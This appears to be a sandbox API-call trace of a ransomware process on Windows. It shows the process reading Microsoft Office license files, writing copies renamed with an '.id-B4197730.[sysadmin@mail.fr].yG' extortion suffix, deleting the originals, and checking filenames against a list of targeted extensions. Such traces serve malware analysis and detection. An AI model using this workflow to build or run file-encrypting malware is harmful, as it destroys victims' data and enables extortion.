	[0172.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 86
	[0172.763] lstrlenW (lpString=".1cd") returned 4
	[0172.763] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0172.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 86
	[0172.763] lstrlenW (lpString=".jpg") returned 4
	[0172.763] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0172.763] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=23207) returned 1
	[0172.763] CloseHandle (hObject=0x454) returned 1
	[0172.763] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ppd.xrm-ms")) returned 0x220
	[0172.763] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0172.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454
	[0172.764] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.765] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478
	[0172.766] GetLastError () returned 0x0
	[0172.766] ReadFile (in: hFile=0x454, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x5aa7, lpOverlapped=0x0) returned 1
	[0172.768] WriteFile (in: hFile=0x478, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x5ab0, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x5ab0, lpOverlapped=0x0) returned 1
	[0172.770] ReadFile (in: hFile=0x454, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.770] WriteFile (in: hFile=0x478, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x12a, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x12a, lpOverlapped=0x0) returned 1
	[0172.770] SetEndOfFile (hFile=0x478) returned 1
	[0172.770] CloseHandle (hObject=0x478) returned 1
	[0172.770] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.770] SetEndOfFile (hFile=0x454) returned 1
	[0172.774] CloseHandle (hObject=0x454) returned 1
	[0172.774] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0172.775] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ppd.xrm-ms")) returned 1
	[0172.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 93
	[0172.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 93
	[0172.776] lstrlenW (lpString=".doc") returned 4
	[0172.776] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0172.776] lstrlenW (lpString=".docx") returned 5
	[0172.776] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0172.776] lstrlenW (lpString=".pdf") returned 4
	[0172.776] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0172.776] lstrlenW (lpString=".xls") returned 4
	[0172.776] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0172.776] lstrlenW (lpString=".xlsx") returned 5
	[0172.776] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0172.776] lstrlenW (lpString=".ppt") returned 4
	[0172.776] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0172.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 93
	[0172.776] lstrlenW (lpString=".zip") returned 4
	[0172.776] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0172.776] lstrlenW (lpString=".rar") returned 4
	[0172.776] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0172.776] lstrlenW (lpString=".bz2") returned 4
	[0172.776] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0172.776] lstrlenW (lpString=".7z") returned 3
	[0172.776] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0172.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 93
	[0172.776] lstrlenW (lpString=".dbf") returned 4
	[0172.776] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0172.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 93
	[0172.777] lstrlenW (lpString=".1cd") returned 4
	[0172.777] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0172.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ppd.xrm-ms") returned 93
	[0172.777] lstrlenW (lpString=".jpg") returned 4
	[0172.777] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0172.777] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=11674) returned 1
	[0172.777] CloseHandle (hObject=0x454) returned 1
	[0172.778] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ul-oob.xrm-ms")) returned 0x220
	[0172.778] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0172.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454
	[0172.779] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.779] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478
	[0172.780] GetLastError () returned 0x0
	[0172.780] ReadFile (in: hFile=0x454, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x2d9a, lpOverlapped=0x0) returned 1
	[0173.073] WriteFile (in: hFile=0x478, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x2da0, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x2da0, lpOverlapped=0x0) returned 1
	[0173.074] ReadFile (in: hFile=0x454, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.074] WriteFile (in: hFile=0x478, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x130, lpOverlapped=0x0) returned 1
	[0173.074] SetEndOfFile (hFile=0x478) returned 1
	[0173.075] CloseHandle (hObject=0x478) returned 1
	[0173.075] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.075] SetEndOfFile (hFile=0x454) returned 1
	[0173.079] CloseHandle (hObject=0x454) returned 1
	[0173.079] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0173.079] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremdemor_bypasstrial180-ul-oob.xrm-ms")) returned 1
	[0173.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0173.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0173.082] lstrlenW (lpString=".doc") returned 4
	[0173.082] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.082] lstrlenW (lpString=".docx") returned 5
	[0173.082] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.082] lstrlenW (lpString=".pdf") returned 4
	[0173.082] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.082] lstrlenW (lpString=".xls") returned 4
	[0173.082] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.082] lstrlenW (lpString=".xlsx") returned 5
	[0173.082] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.082] lstrlenW (lpString=".ppt") returned 4
	[0173.082] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0173.082] lstrlenW (lpString=".zip") returned 4
	[0173.082] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.082] lstrlenW (lpString=".rar") returned 4
	[0173.082] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.082] lstrlenW (lpString=".bz2") returned 4
	[0173.082] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.082] lstrlenW (lpString=".7z") returned 3
	[0173.082] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0173.082] lstrlenW (lpString=".dbf") returned 4
	[0173.083] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0173.083] lstrlenW (lpString=".1cd") returned 4
	[0173.083] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0173.083] lstrlenW (lpString=".jpg") returned 4
	[0173.083] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.083] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=11199) returned 1
	[0173.084] CloseHandle (hObject=0x454) returned 1
	[0173.084] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-pl.xrm-ms")) returned 0x220
	[0173.084] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0173.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454
	[0173.085] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.085] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478
	[0173.086] GetLastError () returned 0x0
	[0173.086] ReadFile (in: hFile=0x454, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x2bbf, lpOverlapped=0x0) returned 1
	[0173.095] WriteFile (in: hFile=0x478, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x2bc0, lpOverlapped=0x0) returned 1
	[0173.099] ReadFile (in: hFile=0x454, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.099] WriteFile (in: hFile=0x478, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x11e, lpOverlapped=0x0) returned 1
	[0173.099] SetEndOfFile (hFile=0x478) returned 1
	[0173.100] CloseHandle (hObject=0x478) returned 1
	[0173.100] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.100] SetEndOfFile (hFile=0x454) returned 1
	[0173.104] CloseHandle (hObject=0x454) returned 1
	[0173.104] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0173.104] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-pl.xrm-ms")) returned 1
	[0173.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms") returned 87
	[0173.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms") returned 87
	[0173.106] lstrlenW (lpString=".doc") returned 4
	[0173.106] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.106] lstrlenW (lpString=".docx") returned 5
	[0173.106] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.106] lstrlenW (lpString=".pdf") returned 4
	[0173.106] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.106] lstrlenW (lpString=".xls") returned 4
	[0173.106] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.106] lstrlenW (lpString=".xlsx") returned 5
	[0173.106] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.106] lstrlenW (lpString=".ppt") returned 4
	[0173.106] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms") returned 87
	[0173.106] lstrlenW (lpString=".zip") returned 4
	[0173.106] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.106] lstrlenW (lpString=".rar") returned 4
	[0173.106] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.106] lstrlenW (lpString=".bz2") returned 4
	[0173.106] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.106] lstrlenW (lpString=".7z") returned 3
	[0173.106] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms") returned 87
	[0173.107] lstrlenW (lpString=".dbf") returned 4
	[0173.107] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms") returned 87
	[0173.107] lstrlenW (lpString=".1cd") returned 4
	[0173.107] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-pl.xrm-ms") returned 87
	[0173.107] lstrlenW (lpString=".jpg") returned 4
	[0173.107] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.107] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=11651) returned 1
	[0173.107] CloseHandle (hObject=0x454) returned 1
	[0173.108] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ul-oob.xrm-ms")) returned 0x220
	[0173.108] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0173.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454
	[0173.109] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.109] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478
	[0173.110] GetLastError () returned 0x0
	[0173.110] ReadFile (in: hFile=0x454, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x2d83, lpOverlapped=0x0) returned 1
	[0173.112] WriteFile (in: hFile=0x478, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x2d90, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x2d90, lpOverlapped=0x0) returned 1
	[0173.113] ReadFile (in: hFile=0x454, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.113] WriteFile (in: hFile=0x478, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x126, lpOverlapped=0x0) returned 1
	[0173.113] SetEndOfFile (hFile=0x478) returned 1
	[0173.114] CloseHandle (hObject=0x478) returned 1
	[0173.114] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.114] SetEndOfFile (hFile=0x454) returned 1
	[0173.117] CloseHandle (hObject=0x454) returned 1
	[0173.117] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0173.359] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ul-oob.xrm-ms")) returned 1
	[0173.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 91
	[0173.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 91
	[0173.628] lstrlenW (lpString=".doc") returned 4
	[0173.628] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.628] lstrlenW (lpString=".docx") returned 5
	[0173.628] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.628] lstrlenW (lpString=".pdf") returned 4
	[0173.628] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.628] lstrlenW (lpString=".xls") returned 4
	[0173.628] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.628] lstrlenW (lpString=".xlsx") returned 5
	[0173.629] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.629] lstrlenW (lpString=".ppt") returned 4
	[0173.629] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 91
	[0173.629] lstrlenW (lpString=".zip") returned 4
	[0173.629] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.629] lstrlenW (lpString=".rar") returned 4
	[0173.629] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.629] lstrlenW (lpString=".bz2") returned 4
	[0173.629] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.629] lstrlenW (lpString=".7z") returned 3
	[0173.629] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 91
	[0173.629] lstrlenW (lpString=".dbf") returned 4
	[0173.629] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 91
	[0173.629] lstrlenW (lpString=".1cd") returned 4
	[0173.629] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 91
	[0173.629] lstrlenW (lpString=".jpg") returned 4
	[0173.629] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.630] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=23134) returned 1
	[0173.630] CloseHandle (hObject=0x350) returned 1
	[0173.630] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-ppd.xrm-ms")) returned 0x220
